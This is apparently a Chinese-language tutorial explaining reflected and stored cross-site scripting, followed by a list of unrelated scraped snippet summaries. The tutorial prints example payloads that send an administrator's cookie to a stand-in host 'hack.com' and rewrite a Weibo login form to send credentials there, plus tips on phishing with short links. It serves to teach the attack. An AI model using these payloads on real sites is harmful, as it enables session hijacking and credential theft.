XSS 叫跨站脚本攻击(Cross Site Script),那么XSS原本应该叫做CSS,但是由于CSS的简称已经被连级样式表 使用了,所以就换个称谓XSS。
为什么叫做跨站脚本攻击呢?
它的意思就是在别人的网站上嵌入脚本,而这个脚本原本不是属于这个网站的。这个解释很直观吧。
怎么嵌入脚本呢?
比如这么个搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”
这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:
输入:<script>alert(1);</scrip>
那么页面就会跳出alert(1);
这种XSS叫做反射性XSS。
再谈论另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。
而这个后台一般都是管理员进行审核,会在管理后台展示。
如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入
然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面黑客就可以使用cookie来做登录管理后台了。
这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。
危害
一般来说,存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己,而存储型的XSS可能会影响到网站的其他用户。
XSS可以如上面例子说的:
1 盗取cookie
2 钓鱼
比如我将一段代码注入进某个网站的支付页面,这段js代码做的事情是,动态控制这个支付页面的Form表单,比如将这个form表单的html替换成目标网站一个相似的html。
或者另一个案例是使用反射型XSS,我预先生成一个url,这个url是一个有反射型xss漏洞的页面。比如
document.getElementById("loginForm").action="http://hack.com"http://weibo.com/login?username=<script>document.getElementById("loginForm").action="http://hack.com"</script>
然后我将这个页面通过企鹅的群邮件发给企鹅群中的所有人,一旦有人点击这个链接,那么就会进入微博登陆页,万一再输入用户名密码,那么这个人的用户名密码就会被盗了。当然,这个案例有个问题,url太假了,怎么办?短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。
3 DDOS攻击
当然这个前提是有大量用户已经被XSS攻击了,所以他们浏览的页面已经被植入了代码,这个代码的作用就是循环向一个网站发送请求,如果有xss漏洞的这个网站是有大量用户的,比如微博,那么后一个被DDOS攻击的网站就真心惨了。
总之,XSS的危害就在于网站的页面可以被随意嵌入js代码。
相关推荐
Java筑基面试专题系列是针对Java开发者准备的...6. Web应用的安全性,比如防止SQL注入、XSS攻击和CSRF攻击的策略。 通过系统学习和实践这些知识点,你将能够更好地应对Java基础面试,为自己的职业生涯打下坚实的基础。
当我们谈论“仿京东注册页模板”时,我们实际上是在讨论一种基于京东注册页面样式和功能的网页设计模型。这个模板旨在为用户提供一个类似京东的注册流程,以确保用户能够方便、快捷且安全地创建账户。 首先,我们要...
当我们谈论"C#调用webkit引擎源码"时,这意味着我们要在C#应用中集成Webkit的能力,实现不依赖于Internet Explorer(IE)就能浏览网页的功能。 Webkit.NET项目是将Webkit与C#.NET框架相结合的一个库,允许开发者在...
当我们谈论"Html+QtWeb服务器开发"时,我们通常是在讨论如何利用Qt的Web组件在本地运行一个小型Web服务器,展示由HTML编写的用户界面。这在嵌入式系统或桌面应用中特别有用,因为它们可能不需要全功能的Web服务器,...
当我们谈论"PHP语法安全监测"时,这是指确保PHP代码符合最佳实践,避免潜在的安全漏洞,如SQL注入、跨站脚本攻击(XSS)、命令注入等。手游后台源码的PHP语法安全监测更是至关重要,因为游戏平台往往涉及到大量的用户...
同时,渲染器还负责处理安全问题,如防止XSS(跨站脚本攻击)和其他潜在的注入攻击,确保用户在浏览和编辑内容时的安全。 当我们谈论依赖包时,`atlassian-renderer-6.2.jar`并非孤立存在,它通常会与其他Atlassian...
当我们谈论“SpringTest cookie”时,这可能指的是使用Spring Test模块进行Cookie相关的单元测试和集成测试。 Spring Test是Spring框架的一部分,专门用于支持测试Spring驱动的应用程序。它提供了一组工具,允许...
当我们谈论“php 仿wordpress 自动安装 自动配置数据库 留言板”时,我们涉及的是创建一个类似WordPress的功能,即实现自动安装、数据库配置以及留言功能的搭建。 首先,自动安装是指程序能够自动完成一系列设置...
当我们谈论"PHP劫持跳转代码"时,这通常涉及到一种安全问题,即恶意攻击者利用PHP代码来控制或篡改网站的行为,使得用户在访问特定页面时被强制跳转到其他不受信任的网站。 PHP劫持跳转通常是通过注入恶意代码实现...
在"标题"中提到的"Efront源码",意味着我们谈论的是Efront软件的原始代码,这为开发者提供了深入定制和扩展系统的可能性。 SCORM(Sharable Content Object Reference Model)是另一种关键概念,它是在线学习内容的...
随着技术的发展,JSON格式也进行了更新,虽然在实际应用中"JSON 2.0"这一术语并不常见,通常我们谈论的是JSON标准的最新版本,它基于ECMAScript 2019规范。在这里,我们将深入探讨JSON的序列化过程,以及相关的编程...
当我们谈论“商业编程-源码-Develooping Flash Chat v1.2”时,我们聚焦的是一个基于Flash技术构建的在线聊天室应用。这个项目不仅体现了Flash在实时交互应用中的强大能力,同时也展示了商业软件开发中的一些关键...
当我们谈论“cookie设置多个应用共享”时,这个问题的核心是如何在不同的Web应用程序之间共享用户的状态信息。通常,Cookie是与特定的域名关联的,因此默认情况下,它们不能跨不同的顶级域名共享。然而,对于在同一...
当我们谈论“Delphi技巧-Web编程”,这意味着我们将深入探讨如何利用Delphi进行Web应用程序的开发。在本篇文章中,我们将详细讲解Delphi在Web开发中的应用,以及一些实用的技巧。 首先,Delphi提供了多种框架和库...
当我们谈论"PHP的游戏源码"时,这意味着有人使用PHP语言编写了一款游戏,并且提供了可运行的源代码。这样的源码对于学习者来说是极其宝贵的资源,因为它允许他们深入理解游戏开发的内部机制,从而提升编程技能。 ...
当我们谈论“自动生成单页面源码”时,这通常指的是使用PHP开发的一种机制,能够自动创建或组合单一HTML页面,该页面包含了所有必要的前端资源,如JavaScript、CSS和图片。这种方式有助于提高页面加载速度,因为用户...
当我们谈论“测试网站源码”时,我们关注的是确保这些代码的有效性和效率,以确保网站能够正确运行并提供良好的用户体验。 首先,我们要理解测试的重要性。在网站开发过程中,源码测试是必不可少的环节,因为它能...
当我们谈论"PHP 抽奖程序代码"时,这通常是指一个利用PHP编程语言实现的抽奖系统,它可能用于各种在线活动,如促销、竞赛或者互动游戏等。在这个程序中,"转盘"和"带Flash"的描述暗示了该抽奖程序可能采用了视觉效果...
当我们谈论"PHP相册管理"时,我们通常是指利用PHP技术来构建一个用于存储、组织和展示图片的在线系统。这样的系统可以帮助用户方便地上传、查看、编辑和管理他们的照片集,就像传统的实体相册一样,但具有更多的互动...
当我们谈论“jsp做的购物车”时,我们可以深入理解这个概念,它是如何在电子商务网站中实现的。购物车是在线零售平台的核心组成部分,它允许用户选择商品并暂存,以便在结账时一起购买。下面我们将详细探讨使用JSP来...